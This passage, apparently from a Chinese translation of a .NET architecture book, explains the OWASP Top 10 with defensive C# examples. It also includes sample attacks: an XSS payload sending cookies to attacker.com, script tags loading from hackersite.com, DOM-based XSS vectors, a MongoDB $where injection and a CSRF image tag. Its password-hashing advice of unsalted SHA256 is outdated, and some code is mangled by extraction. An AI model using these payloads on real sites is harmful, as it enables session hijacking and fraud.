防御措施?不要信任任何来自用户的输入,因此利用一种解析机制,强制即将到来的字符串成为你期望的样子。正如你所见,问题不仅限于应用程序类型:它可能是桌面应用程序或网站:问题始终相同。

因此,任何数据输入都有可能是恶意的。无论数据来自何方或何人。这就是 OWASP 所说的威胁代理。

防御这类攻击主要有三种主要策略:

  • 使用参数化查询,也称为预定义语句

  • 使用存储过程

  • 转义所有来自用户的输入

让我们看看第一个案例是如何表现的:

// Case 1
var connection = newOleDbConnection();
string query =
"SELECT account_balance FROM user_data WHERE user_name = ?";
try
{
  OleDbCommand command = newOleDbCommand(query, connection);
  command.Parameters.Add(newOleDbParameter("customerName", txtCustomerName.Text));
  OleDbDataReader reader = command.ExecuteReader();
  // …
}
catch (OleDbException ex)
{
  // Give some exception information
}

在这种情况下,潜在的危险参数被创建为一个新的 OleDbParameter 对象,如果用户插入一个不适合任务的字符串,这是不可能的。这同样适用于其他类型的参数,例如,如果客户端是 SQLClient,则可能是 SQLParameter

第二种解决方案是使用存储过程。只要程序员不包含任何不安全的存储过程生成,参数化查询的效果与上一个案例相同。

以下代码假设存在一个 SQLConnection 对象,并且连接指向的 SQL 服务器中存储了一个名为 sp_getAccountBalance 的存储过程对象。创建新的 SQLParameter 对象的过程与第一个案例类似:

// Case 2
try
{
  SqlCommand command = newSqlCommand("sp_getAccountBalance", connectionSQL);
  command.CommandType = CommandType.StoredProcedure;
  command.Parameters.Add(newSqlParameter("@CustomerName", txtCustomerName.Text));
  SqlDataReader reader = command.ExecuteReader();
}
catch (Exception)
{
  throw;
  // Give some excepcion information
}

第三个案例涉及输入的转义(或白名单输入验证),这可以通过几种方式完成。这可能是在用户动态选择要使用的表时的情况。在这种情况下避免风险的最佳方式是提供一个可能的值白名单,避免任何其他输入。

这相当于使用 Enum 类型,指定查询将要接受的可能的表:

// Case 3
String tableName = "";
switch (tableName) { 
  case"Customers":
    tableName = "Customers";
  break;
  case"Balance":
    tableName = "Balance";
  break;
  // ...                
  default: thrownewInputValidationException(
    "Invalid Table Name");
}

除了上述技术之外,还有其他与特定 RDBMS 相关的特定解决方案。对于 SQL Server 数据库,可以在 blogs.msdn.microsoft.com/raulga/2007/01/04/dynamic-sql-sql-injection/ 找到一篇关于该主题的好文章。

无 SQL 数据库的案例

官方文档提供了一些关于使用 SQL 注入攻击非关系型引擎的可能攻击的见解。

在我们考察的 第七章 的 MongoDB 引擎案例中,当攻击者能够操作使用 $where 操作符传递的信息时,包括一些可以解析为 MongoDB 查询一部分的 JavaScript 代码时,问题就出现了。

考虑以下示例,其中代码直接传递到 MongoDB 查询中,没有任何检查:

db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } ); 

这里的技巧在于使用对引擎背后的 API 有特殊意义的特殊字符。攻击者可以通过检查包含某些字符的结果来确定应用程序是否正在清理输入。

注入与目标 API 语言相关的特殊字符,并观察结果,可能允许测试人员确定应用程序是否正确清理了输入。例如,在 MongoDB 中,如果传递了一个包含以下特殊字符(' " \ ; { })的字符串而没有控制,就会触发数据库错误。

尽管如此,由于 JavaScript 是一种功能齐全的语言,它允许攻击者操纵数据并运行任意代码。想象以下代码被插入到之前代码中提到的 $userInput 变量中:

0; var date = new Date(); do { curDate = new Date(); } while (curDate - date < 10000)

JavaScript 代码将被执行...

之前提到的 OWASP 资源将为您提供有关其他类型注入的线索和建议:LDAP 注入、XML 注入、命令注入、ORM 注入、SSI(服务器端包含)注入等。

通常,OWASP 测试指南 v4 目录文档(www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents)是该活动的详尽和更新资源,用于分析和寻找与这些类型安全威胁相关的众多攻击的指导。

A2 – 破解认证和会话管理

这里的问题与身份和权限相关。正如官方定义所述:

“与认证和会话管理相关的应用程序功能通常没有正确实现,这允许攻击者破坏密码、密钥或会话令牌,或者利用其他实现缺陷来假设其他用户的身份。”

当虚假认证的用户是远程的(典型情况)且因此难以追踪时,这甚至更糟。

这里的问题有很多:

  • 我们可能会接受不受欢迎的用户(信息和操作披露)

    • 当不受欢迎的用户获得管理员权限,从而将整个系统置于风险之中时,这是一种这种攻击的变体。
  • 我们可能会接受一个拥有超出合法信息使用凭证的用户

通常来说,我们可以将其视为一个模拟或提升权限的问题(无论是攻击者根本没有任何权限,还是它提升到了比原本意图更高的级别)。

原因

这有几个原因。最广为人知的如下:

  • 用户认证在存储时未受保护(应使用哈希或加密)

  • 密码的弱点可能允许攻击者通过暴力破解过程(通常尝试使用最常见的已知密码列表)获得访问权限

  • 会话 ID 可以通过 URL 暴露,容易受到会话固定的攻击,没有超时,或者在注销时没有正确失效

  • 当然,所有这些信息都不是通过加密连接发送的

这可能是所有攻击中最受欢迎的,因为它在关于黑客的文献和电影中非常常见(通常被过度夸张,比如说)。

它通常与其他所谓的社会工程学技术并列出现,Wikipedia 对其定义为如下:

心理操纵人们执行行动或泄露机密信息。

许多著名的黑客,如凯文·米特尼克(Kevin Mitnick),被认为是这一领域的真正大师(他现在自己经营着一家网络安全公司)。

当然,在 OWASP(开放网络应用安全项目)的倡议中,我们可以找到关于根据不同场景应对这种威胁的最佳方法的丰富信息。

预防

我们可以采取哪些措施来积极预防这种攻击?有一些已建立的措施:

  • 首先,开发人员应始终提供一套强大的单一身份验证和会话管理控制。因此,身份验证和会话管理应符合 OWASP 应用安全与验证标准ASVS)以及区域 V2(身份验证)和 V3(会话管理)中规定的需求。

  • 开发人员应保持一个简单的界面。关于这一点的建议在 ESAPI 身份验证器和用户 API 中得到了广泛解释。

  • 虽然这属于 A3 类型的威胁,但在这种情况下,考虑可能的跨站脚本攻击也应是最重要的。

ASVS 有三个级别的预防措施,机会主义标准高级

当一个应用程序充分防御易于发现的应用安全漏洞,并且包括在 OWASP Top 10 和其他类似清单中(如官方文档中定义的)时,据说已达到第一级水平。

当应用程序管理的资产没有特殊风险,或者预期的攻击类型不会超出使用简单低效技术来识别易于发现和利用的漏洞时,这种保护似乎足够了。

第 1 级应该是所有应用程序所需的最小要求。

当我们防御今天软件的大多数风险时,我们达到了第二级(标准)水平。这通常适用于处理大量企业对企业交易的应用程序,包括处理医疗信息、实施业务关键或敏感功能或处理其他敏感资产的应用程序,这表明了 ASVS(应用安全验证标准)。

最后,第 3 级是为需要高等级安全验证的应用程序保留的,例如军事、健康和安全、关键基础设施等领域。

对于执行关键功能且故障可能影响运营甚至组织生存的软件,组织可能需要 ASVS 第 3 级。

A2 的.NET 编码

在.NET 编程中,我们有多种可能性来强制执行安全身份验证和授权,以及许多其他选项,包括专门用于安全性的命名空间(System.Security)和加密(System.Security.Cryptography)。

桌面应用程序

对于桌面应用程序,主要的安全级别当然是基于登录。这意味着应用程序的唯一访问应该通过登录窗口,在开始时针对一个安全存储系统(最好是数据库)启动。

在这种情况下没有太多可说的,因为这都是关于避免我们在前一点看到的方式中的任何 SQL 注入。

然而,有几项考虑应该被衡量。首先,对于那些应用程序简单且密码应存储在app.config文件中的情况,密码需要加密。

我们可以使用.NET 资源非常容易地做到这一点,有很多种方法:例如,我们可以访问已经为这种用途准备好的哈希和加密类。

以下示例代码将给你一个关于如何使用它的想法:

publicstaticbyte[] HashPassword(string password)
{
 var provider = newSHA1CryptoServiceProvider();
  var encoding = newUnicodeEncoding();
  return provider.ComputeHash(encoding.GetBytes(password));
}

然而,这里使用的算法并不是最安全的,因为它最近似乎已经被破坏了。所以,最好使用更高级的版本,例如SHA256Managed。因此,提供者的初始化应该使用以下代码:

publicstaticbyte[] HashPassword256(string password)
{
  SHA256 mySHA256 = SHA256Managed.Create();
  var encoding = newUnicodeEncoding();
  return mySHA256.ComputeHash(encoding.GetBytes(password));
}

网络应用程序

当谈到旧的 ASP.NET Web Forms 应用程序时,事实是它们在服务器上实现了很好的安全性:

  • 首先,有一些服务器组件会自动执行的事情:对 HTML 值和属性进行编码,以防止 XSS 攻击,我们将在下一点(A3)中讨论。

  • 此外,ViewState也被加密并验证,以避免来自发布信息的“篡改”。

  • 程序员在@page声明中有一个validaterequest属性可用,可以用来捕获可疑数据。

  • 另一种防止通过注入攻击的方法是事件验证,以控制无效的已发布信息。

然而,在 ASP.NET MVC 中,这些功能中的大多数都不存在。因此,我们有另一组选择来确保这些功能。

首先,当你创建一个新的 ASP.NET MVC 应用程序时,你会得到一些关于身份验证的选择:

  • 无身份验证

  • 个人用户账户

  • 工作和学校账户

  • Windows 身份验证

第二个选择(个人账户)允许用户通过 Facebook、Twitter 或 Google 账户(甚至另一个安全机制)进行身份验证。

第三个选择是为那些使用 Active Directory、Microsoft Azure Active Directory 或 Office 365 对用户进行身份验证的应用程序。你可以选择单个或多个组织或本地基础设施,如下一张截图所示:

网络应用程序

当然,在Windows 身份验证中,所有登录到系统的用户都被允许进入。

如果您选择个人认证,Visual Studio 为我们创建的原型项目给我们提供了一些关于如何正确编码的线索。

如果您查看默认项目,您会看到有几个类实现了关于身份、密码等方面的所有管理。这包含在由默认项目生成的ManageControllers.cs文件中。

在这种情况下,采取的推荐措施是使用可能损害安全性的那些控制器中的属性。授权属性允许您配置谁可以使用相应的控制器(或者如果您想获得更细粒度的控制,可以使用动作方法)。

此代码解释了如何实现几个安全功能:

  • 一方面,这些带有[HttpPost]属性的标记方法也带有另一个属性,即[AntiForgeryToken]。这用于防止与 OWASP A8(跨站请求伪造)相关的一种攻击,我们稍后会讨论。

  • 此外,整个ManageController类都带有[Authorize]属性。此属性阻止任何未经授权的用户访问此方法,如果尝试访问它,将抛出异常。Authorize强制应用程序拒绝任何既未认证也未授权的用户。

此属性允许程序员进行一些自定义:您可以根据以下截图指示特定的角色、特定的用户或两者,如下所示:

Web 应用程序

除了这些措施之外,查看AccountController类可以看到几个带有安全属性标记的方法。该类本身带有AuthorizeAttribute标记,但我们还发现一些方法带有[AllowAnonymous]标记。原因是某些动作和控制器在授权过程中被AuthorizeAttribute跳过,目的是允许对这些方法进行初始访问。

至于第二种认证方式,即通过 Google、Twitter 或 Facebook 提供的外部登录,现在可以通过OAuthOpenID实现,这两个标准是社交网络中广泛使用的认证标准。

与这些标准相关的协议在过去不容易实现,因为它们很复杂;此外,一些顶级提供者习惯于以某些差异来实现它们。幸运的是,MVC 项目模板简化了我们可以管理这些选项的方式。

以下(注释的)代码在项目中看起来就像这样,以便您可以使用这些外部提供者(您可以在Startup.Auth.cs文件中找到它们)来编写这些新选项:

// Uncomment the following lines to enable logging in with third party
//login providers
//app.UseMicrosoftAccountAuthentication(
//  clientId: "",
//  clientSecret: "");

//app.UseTwitterAuthentication(
//  consumerKey: "",
//  consumerSecret: "");

//app.UseFacebookAuthentication(
//  appId: "",
//  appSecret: "");

//app.UseGoogleAuthentication(new GoogleOAuth2AuthenticationOptions()
//{
//   ClientId = "",
//  ClientSecret = ""
//});

如您所见,每个提供者都需要某种用户和密码组合,您可以将它们保存在为此目的选定的存储介质中。

最后,请注意还有其他与安全相关的属性你可能可以使用:例如,你可以通过添加 [RequireHttps] 属性来强制从外部提供者回调以使用 HTTPS 而不是 HTTP,该属性与你要保护的临界操作方法相关联。

以这种方式,你只需一个属性就能增加一层额外的安全防护。

A3 – 跨站脚本(XSS)

由于开发者社区对其缺乏了解以及缺乏预防措施,XSS 被认为是最具问题的安全问题之一。

虽然在某些实现中这很简单,但这也是为什么它如此危险。已知有三种 XSS 攻击形式:存储型、反射型和基于 DOM 的。

这些攻击的官方示例之一(反射型)展示了以下代码:

"<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

即,页面根据请求构建一个输入字段。此外,攻击者还可以以这种方式修改页面:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

发生了什么?插入的代码将请求的用户信息反射给攻击者,或者换句话说,就像 OWASP 文档中提到的:

“这会导致受害者的 SessionID 被发送到攻击者的网站,允许攻击者劫持用户的当前会话。”

存储型 XSS(虽然有很多种)是与任何可能的用户输入相关的典型攻击类型,例如带有用户评论的博客等。攻击者的响应被保存在网站的存储系统中,这就是为什么叫这个名字。

在这种情况下,攻击者首先会做的事情是在答案中插入一个应该被转义的字符,以查看它是否确实被转义(例如,像 < 这样的字符)。如果字符出现(没有被转义),这意味着程序员没有在注释中检查输入。

现在是棘手的部分:你不仅可以插入一个简单的 < 符号,还可以插入类似这样的内容:

<iframe src="img/hackersite.com" height="400" width=500/>

由于这将在页面上与内容一起渲染,所以你写的任何内容都将被插入并显示。当然,如果你不是仅仅使用 iframe,而是插入一个加载一些危险 JavaScript 的脚本标签,那就更邪恶了:

"></a><script src="img/dangerous_site.com"></script><a href="

由于新的锚点标签不包含任何文本且不可见,因此用户将不会注意到这一点。现在,当任何用户访问网站时,此脚本将运行,向攻击者发送 JavaScript 代码已准备发送的信息。

一些作者将这种技术称为被动注入,而不是主动注入,在主动注入中,用户在不知道风险的情况下参与了黑客攻击过程。

最后,基于 DOM 的 XSS 版本使用 DOM 标签执行其操作。这些攻击修改了已知用于搜索和加载外部内容的标签:imglinkscriptinputiframeobject,甚至bodydivtable,以改变背景属性为借口。

这里有一些这些攻击的示例:

<!-- Different DOM Based attacks -->
<!-- External script -->
<scriptsrc=http://hackersite.com/xss.js></script>
<!-- <link> XSS -->
<linkrel="stylesheet"href="javascript:alert('XSS');">
<!-- <img> XSS -->
<imgsrc="img/javascript:alert('XSS');">
<!-- <input> XSS -->
<inputtype="image"src="img/javascript:alert('XSS');">
<!-- <object> XSS -->
<objecttype="text/x-scriptlet"data="http://hackersite.com/xss.html"/>

注意,即使是 divtablebody 这样的 无辜 标签,也可以用于这些目的:

<!-- <div> XSS -->
<divstyle="background-image: url(javascript:alert('XSS'))"></div>
<!-- <div> XSS -->
<divstyle="width: expression(alert('XSS'));"></div>
<!-- <table> XSS -->
<tablebackground="javascript:alert('XSS')">
<!-- <td> XSS -->
<tr><tdbackground="javascript:alert('XSS')"></td></tr>
</table>
<!-- onload attribute -->
<bodyonload=alert("XSS")>
<!-- background attribute -->
<bodybackground="javascript:alert('XSS')">

预防措施

通常,文档中声明如下:

防止 XSS 需要将不受信任的数据与活动浏览器内容分离。

实际上,为了解决这个问题,有几种建议:

  • 我们应该首先根据 HTML 上下文(正如我们所看到的:body、属性、任何 JavaScript 或 CSS,甚至是 URL)正确转义所有不受信任的数据。XSS(跨站脚本)预防备忘录(www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet))文档包含了如何应用这些数据转义技术的详细信息。

  • 在前面的要点中我们看到的白名单输入验证技术也建议使用,但它并不是完整的防御措施,因为某些应用程序需要接受特殊字符。对于这种情况,我们应该在接收任何输入之前验证长度、字符、格式和业务规则。

  • 其他措施包括自动清理库,甚至使用内容安全策略CSP)来保护您的整个网站免受 XSS 攻击。

在.NET 中,默认情况下采取了一些措施,正如我们之前提到的。这包括默认插入一些 JavaScript 库,例如 jQuery Validate 和 jQuery Validate Unobtrusive,以便在向服务器发送任何数据之前检查用户的输入。

总的来说,建议您考虑应用程序可能受影响的区域以及处理的数据的商业价值和商业影响。

另一个需要记住的资源是基于 DOM 的 XSS 预防备忘录(www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)文档。

A4 – 不安全直接对象引用

让我们记住这个定义:

直接对象引用发生在开发人员暴露对内部实现对象的引用时,例如文件、目录或数据库键。如果没有访问控制检查或其他保护措施,攻击者可以操纵这些引用以访问未经授权的数据。

对于某些场景,这要求攻击者(碰巧是该网站的合法用户)了解要攻击的资源的一些信息,以便用预期的信息(例如他们的用户账户)替换受害者的信息(在这种情况下,另一个账户号码,例如)。

OWASP 提供的典型示例重新创建了一个场景,在该场景中,使用 SQL 请求进行账户查询:

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("accountNo"));
ResultSet results = pstmt.executeQuery( );

关键在于request.GetParameter("accountNo")。攻击者可以更改这个账户号码为另一个(一旦登录)并尝试访问他人的信息。

例如,如果账户号码在 URL 中发送,就有可能重新创建这个请求,包括预期的、外部的账户:

http://example.com/app/accountInfo?acct=AnotherAccountNo

这是对受限资源的直接引用,问题是:用户是否真的应该有权访问请求中包含的AnotherAccountNo参数?

此外,引用可能是间接的。因此,正如 OWASP 提醒我们的,这里需要回答的问题是:

如果引用是间接引用,映射到直接引用是否未能限制值到当前用户授权的值?

注意,自动化工具通常不会寻找这类流程,因为它们无法识别什么需要保护,什么不需要。这种类型的漏洞相当常见,但我们发现它在应用程序中是由于未经测试的编码场景。

预防

建议的预防方法是避免不安全直接对象引用,保护对象编号、文件名等。

  • 建议使用针对每个用户或会话的间接对象引用。这意味着,例如,现在允许用户手动输入要请求的账户号码,但,而不是直接输入,而是输入一个描述,甚至是对它的引用。

    • 此描述(或引用)将在运行时解析,将其映射到适当的用户账户。
  • 此外,我们还被提醒,从不受信任的来源使用直接对象引用的每次使用都必须包括访问控制检查,以确保用户有权访问请求的对象

    • 在.NET 项目中,通过在建立连接或访问请求的资源之前使用相应的程序来解决这个问题很容易。

    • 例如,程序可以内部存储已登录用户的资源列表或可用资源,并在尝试访问它们之前只允许这些资源。

OWASP 企业安全 API 项目ESAPI)包含有关如何管理这些类型攻击的更多信息(www.owasp.org/index.php/Project_Information:_OWASP_Enterprise_Security_API_Project)。

注意

另一套官方的指南和建议可在Top 10 2007-不安全直接对象引用中找到,网址为www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference

注意,用户也可能基于文件进行攻击,请求一个已知包含受保护信息的资源文件。

Pluralsight 的 MVP 开发者 Troy Hunt 详细展示了一种攻击,使用 ASP.NET 应用程序,其中用户登录后即可获得用户账户的详细信息(参考www.troyhunt.com/owasp-top-10-for-net-developers-part-4/)。

以下截图为我们提供了攻击的关键:

预防

如您所见,关键是使用调试工具,我们可以检查信息发送到服务器时的格式。在这种情况下,有一个 WCF 服务被调用(CustomerService.svc),在该服务中,调用了GetCustomer方法,并传递一个包含客户键的 JavaScript 对象。

好吧,这就是攻击者所需的一切。现在,他们可以用另一个数字来更改它,并使用像 Fiddler 这样的工具来准备一个包含修改信息的请求,例如,关于另一个customerId

在这种情况下,一个缺陷是customerId在很大程度上是可以预测的,因为它是一个数字。正如 Hunt 在他的文章中建议的那样,在这里使用 GUID 要安全得多,并且不会给攻击者提供任何额外的线索(记住,当我们看到如何使用 MongoDB 时,其中一个特点是 MongoDB 分配给每个文档的ObjectId正好是一个 GUID)。

当然,这个样本中的另一个问题是,你可以通过简单地添加请求体来发送请求,就像你仍然以预期的方式使用应用程序一样。如果你对这个攻击类型的细节感兴趣,我建议你阅读之前提到的文章。

A5 – 安全配置错误

再次,OWASP 在定义这个安全问题的目标和动机方面非常精确:

良好的安全性需要为应用程序、框架、应用服务器、Web 服务器、数据库服务器和平台定义并部署一个安全的配置。安全设置应该被定义、实施和维护,因为默认设置通常是不安全的。此外,软件应保持更新。

与前面的定义相关的许多含义;其中一些已经在第九章、架构中提到,当我们讨论 ALM 中的安全性和提到 S3:设计安全、默认安全、部署安全时。

S3 以某种方式与这个主题相关。一方面,设计可能来自一个糟糕的初始设计,它没有以适当的方式与威胁模型相关联,因此安全漏洞只有在太晚并且需要打补丁时才会被发现。

第二点同样关键。仅当需要执行所需操作的功能被实现(或变得可见)时,才应实现(或使可见)。这是与安全相关的任何系统应用的第一原则之一。

关于部署,有几个考虑因素:外围安全,应与开发团队协商一致,以及与配置文件和资源相关的所有内容。

攻击的可能示例

再次,文档重现了四个与配置错误相关的攻击场景的可能示例:

  • 场景 #1:如果生产中的任何服务器都离开了安装的管理控制台,并且默认账户相同,攻击者可能会发现这些页面,使用默认密码登录,并接管系统。

  • 场景 #2:应从服务器中删除目录列出功能(或检查是否已删除,如果它是该服务器的默认功能)。如果攻击者可以列出文件,他们可以找到源代码并研究它,以寻找缺陷并获取对系统的访问权限。

  • 场景 #3:与错误消息相关的额外信息是任何攻击者的重要信息来源:堆栈跟踪、ASP.NET 黄色屏幕等等。

  • 场景 #4:有时在开发过程中,演示应用程序被用作应用程序中某些功能的证明概念。如果它们没有被删除,它们可能存在安全漏洞。

预防措施 – 需要考虑的方面

因此,在制定配置策略时,应根据 OWASP 检查以下要点:

  • 软件过时:这涵盖了所有相关方面;操作系统、服务器、数据库管理、第三方应用程序以及解决方案可能使用的任何其他资源。(更多内容请参阅 A9)。

  • 修订默认安全原则:所有可用的功能都是必需的吗?通常,对已安装项目的审查是强制性的(权限、账户、端口、页面、服务等等)。这也被称为最小权限原则。

  • 你是否取消了在开发过程中启用的资源?这可以包括账户(及其密码)、文件、演示等等。

  • 你是否更改了在开发过程中使用的默认错误页面?它们可能会向潜在的攻击者揭示有信息性的错误消息。

  • TFS、IDE 和库的安全设置状态如何?它们是否设置为安全值?

预防措施 – 措施

为了记住完整的特性集,ASVS 关于加密、数据保护和 SSL 的区域是有帮助的。然而,为了保护敏感数据,以下是一些最低限度的措施:

  • 建立一个加固过程(可重复和自动化),以便在考虑安全性的情况下轻松快速地将应用程序部署到不同的环境中。

  • 确保与操作系统和应用程序本身相关的软件更新过程简单且尽可能自动化。记住也要考虑库(合适的和外部库)。

  • 从一开始就将架构视为一个强大的结构,它为不同的组件提供了适当的分离。

  • 你应该考虑定期扫描和审计,以帮助检测配置(在系统或应用程序中)中可能存在的缺陷。

记住我们之前提到的关于敏感信息、其位置和可用性的所有内容。

此外,记住通常情况下,在云中托管应用程序是安全性的额外好处,因为这些操作中的许多都是由云的维护基础设施自动执行的。

A6 – 敏感数据泄露

数据泄露处理信息的泄露或信息泄露。OWASP 文档定义了它,说:

“许多 Web 应用程序没有正确保护敏感数据,如信用卡、税务识别号和身份验证凭证。攻击者可能窃取或修改这种薄弱保护的数据,以进行信用卡欺诈、身份盗窃或其他犯罪。敏感数据应得到额外保护,如静态或传输中的加密,以及在与浏览器交换时的特殊预防措施。”

这个话题与敏感信息泄露有关,当此类信息不仅可用于网络攻击,还可能用于某些类型的盗窃时,例如当健康记录、凭证、个人数据或信用卡处于风险之中时。

文档中官方提供的易受攻击场景提醒我们,对于此类数据,我们应该确认以下内容:

  1. 检查这些数据中是否有任何以明文形式存储(一段时间),包括此信息的可能备份。

  2. 确保这些数据既不在内部也不在外部以明文形式传输。警惕互联网上的流量,因为它默认是危险的。

  3. 加密算法更新得怎么样了?例如,SHA1 几年前报告了一些漏洞(我们之前提到过),这导致一些公司转向更强的版本,SHA256 或 SHA512。

    备注

    维基百科提醒我们:

    2005 年 2 月,王小云、尹毅群和李红波宣布了一种攻击。这些攻击可以在 SHA-1 的完整版本中找到碰撞,需要的操作次数少于 2e69 次。(暴力搜索需要 2e80 次操作。)

  4. 生成的加密密钥有多强大?是否正在使用密钥管理和轮换?

  5. 浏览器安全指令或头部如何?当这种特殊数据由浏览器提供或发送到浏览器时,它们是否缺失?

对于要避免的完整问题集,请参阅 ASVS 区域加密(V7)、数据保护(V9)和 SSL(V10)。

OWASP 提出的三个典型攻击场景如下:

  • 场景 #1:一个应用程序使用自动数据库加密在数据库中加密信用卡号码。然而,这意味着当检索数据时,它也会自动解密这些数据,这允许 SQL 注入漏洞以明文形式检索信用卡号码。系统应该使用公钥加密信用卡号码,并且只允许后端应用程序使用私钥解密它们。

  • 场景 #2:一个网站简单地没有对所有认证页面使用 SSL。攻击者只需监控网络流量(例如开放的无线网络)并窃取用户的会话 cookie。然后攻击者重放这个 cookie 并劫持用户的会话,访问用户的私人数据。

  • 场景 #3:密码数据库使用未加盐的散列来存储每个人的密码。一个文件上传漏洞允许攻击者检索密码文件。所有未加盐的散列都可以通过预先计算的散列的彩虹表暴露出来。

此外,有时,更新环境提供的新功能如果使用不当,可能会导致安全漏洞。这种情况出现在我们在 HTML5 中找到的一些与<input>标签相关的新属性中。

例如,我们现在有一个autocomplete属性(大多数浏览器都支持),它激活了在本地存储中的数据缓存。实现起来相当简单:

<!-- autocomplete (requires the element to have an id)-->
<labelfor="CreditCardNo">Autocomplete</label>
<inputtype="text"id="CreditCardNo"autocomplete="on"/>

这激活了特定用户在该特定浏览器中的存储,每个浏览器使用一个不同的区域,并与其当时查看的页面相关联。

每次输入信用卡号码并将其发送到浏览器后,该信息都会在本地存储,并持续用于页面的后续使用。如果其他人可以访问该计算机,就没有必要知道卡号,因为只需尝试序列中的第一个数字(1,2,3…),浏览器就会建议所有以该数字开头的条目,包括最后使用的卡号。

如果你尝试这段简单的代码(不需要外部库或扩展),当你按下键盘上的数字 1(在我的示例中)时,所有以该数字开头的条目都会在一个附加的组合框中显示(参见图表下一张截图):

A6 – 敏感数据泄露

因此,对于一些敏感信息,我们不应该激活这个功能(无论它对用户有多舒适),因为它可能引发严重的安全漏洞。

当然,这些信息可以像通常一样与导航历史、cookie 和其他可缓存的缓存信息一起删除。

A7 – 缺少函数级访问控制

这个功能与授权有关,就像其他以前的功能一样。这里的问题是访问用户未授权的应用程序的部分,例如,非管理员用户访问公司其他人的私人工资记录)。通常,官方文档会精确地说明问题:

大多数 Web 应用程序在将功能可见性显示在 UI 之前会验证函数级访问权限。然而,当每个功能被访问时,应用程序需要在服务器上执行相同的访问控制检查。如果请求未经验证,攻击者将能够伪造请求以访问未经适当授权的功能。

症状可能各不相同:UI 显示指向未经授权的功能、身份验证和/或授权检查缺失在服务器上,甚至服务器没有检查请求的身份,等等。

OWASP 在两个场景中举例说明了这种攻击:

  • 场景 #1:攻击者简单地强制浏览器针对目标 URL。以下 URL 需要身份验证。访问 admin_getappInfo 页面也需要管理员权限。

    • http://example.com/app/getappInfo

    • http://example.com/app/admin_getappInfo

    • 如果未经身份验证的用户可以访问任一页面,则存在缺陷。如果经过身份验证的非管理员用户被允许访问 admin_getappInfo 页面,这也存在缺陷,可能会导致攻击者访问更多不适当保护的管理页面。

  • 场景 #2:一个页面提供了一个 action 参数来指定被调用的函数,不同的操作需要不同的角色。如果这些角色没有得到执行,则存在缺陷。

在代码内部检查访问控制实现。如果您跟踪单个特权请求,请尝试验证授权模式。然后,您可以在代码库中搜索,尝试找到模式并确定何时没有遵循该模式。请记住,自动化工具很少发现这些问题。

可能这种攻击最典型的例子之一是在请求显示 URL 中的信息结构时出现,使用户能够猜测可能的攻击。例如,攻击者在请求后看到以下内容:

http://thesite.com/application?userId=1234

然后,很容易找出遵循的模式以获取他人的信息,只需更改请求末尾的数字即可。如果没有关于授权的适当程序,用户可以控制未经授权的数据。

预防

预防措施已经建立,尽管它们相当难以自动化(大多数应该手动管理,尽管有一些工具):

  • 尝试使用普通用户帐户从管理组件获取信息。

  • 使用代理并以管理员身份访问应用程序。然后,尝试使用之前的普通用户凭据访问受限页面。

  • 尽可能多地了解系统如何验证管理员,并确保实施适当的安全程序。

  • 如果该函数是工作流的一部分,请尝试检查条件是否处于合适的状态以允许访问。

  • 尝试审计尝试访问信息的失败尝试,以发现攻击的可能路径。

  • 在每个操作方法(ASP.NET MVC 和经典 ASP.NET)中根据角色提供访问权限。这意味着必须避免根据单个用户授予访问权限。

最后,请注意,与 IIS 相关,有两种执行模式:经典模式(并且直到 IIS 6 版本只有这一种)和集成模式。在集成模式(从 IIS 7 开始使用)中,.NET 看到任何请求,因此特定的handler可以授权每个请求,即使请求是针对非.NET 资源(如 JavaScript 或多媒体文件)。

所以,如果你正在运行 IIS7+版本,请确保集成模式是激活的,因为否则.NET 只处理对.aspx.ascx等文件的请求,因此其他文件可能是不安全的。

A8 – 跨站请求伪造

考虑到这种威胁的性质,官方 OWASP 文档用攻击用例来定义它:

CSRF 攻击迫使已登录的受害者的浏览器发送一个伪造的 HTTP 请求,包括受害者的会话 cookie 和任何其他自动包含的认证信息,到易受攻击的 Web 应用程序。这允许攻击者迫使受害者的浏览器生成易受攻击的应用程序认为是从受害者发出的合法请求。

可能最典型的案例之一是文档中暴露的这种类型的规范攻击。

问题是一个允许用户使用纯文本发送请求到银行的应用程序,没有任何加密,例如,http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

在这种情况下,攻击者构建另一个请求,将资金从受害者的账户转移到攻击者的账户。为了使其生效,攻击者将此代码嵌入到 DOM 类型的请求中,就像我们在之前的问题中看到的,例如一个image请求或存储在攻击者控制的各个网站上的iframe

<img src="img/transferFunds?amount=1500&destinationAccount=attackersAcct#"width="0" height="0" />

现在,如果潜在的受害者在他们已经认证到example.com的情况下访问攻击者的任何网站,这个伪造的请求将包括受害者的会话信息,从而授权攻击者的请求。

预防

OWASP 建议:

预防 CSRF 需要在每个 HTTP 请求中包含一个不可预测的令牌。

此外,这些令牌应该对每个用户会话是唯一的。

  • 你可以将它们包含在一个隐藏字段中,例如。值将在 HTTP 请求的主体中发送,所以我们不会通过 URL 破坏这个过程。

  • URL(或 URL 参数)也可以使用。然而,正如你可以想象的那样,这假设了更高的风险,因为它可以被分析。

  • 另一种预防措施是要求用户重新认证(这在电子商务交易中非常常见)或甚至使用 CAPTCHA 来证明是一个人类。

在.NET 中,我们在 A2 中看到我们的 ASP.NET 初始演示将包括一个名为[AntiForgeryToken]的属性,用于标记带有[HttpPost]属性的函数。

因此,你会看到以这种方式标记的方法:

[ValidateAntiForgeryToken]
publicActionResultMethodProtected()
{
  // some code
}

如果你检查与这些操作方法相关的视图,你会看到 Razor Helper 的存在:

@Html.AntiForgeryToken()

这确保了用户无法从远程站点提交表单,因为他们没有生成令牌的方法(而且你甚至可以向其中添加)。这为防止 CSRF 攻击提供了足够的保护。

A9 – 使用已知漏洞的组件

这里的问题是外部的,某种意义上。有一些带有漏洞的库可以使用自动化工具识别和利用。这样,威胁代理可以扩展到已知的攻击形式之外,包括未知的风险因素。

官方定义指出 A9,表示:

“组件,如库、框架和其他软件模块,几乎总是以完全权限运行。如果一个有漏洞的组件被利用,这种攻击可以导致严重的数据丢失或服务器接管。使用已知漏洞组件的应用程序可能会削弱应用程序的防御,并使一系列可能的攻击和影响成为可能。”

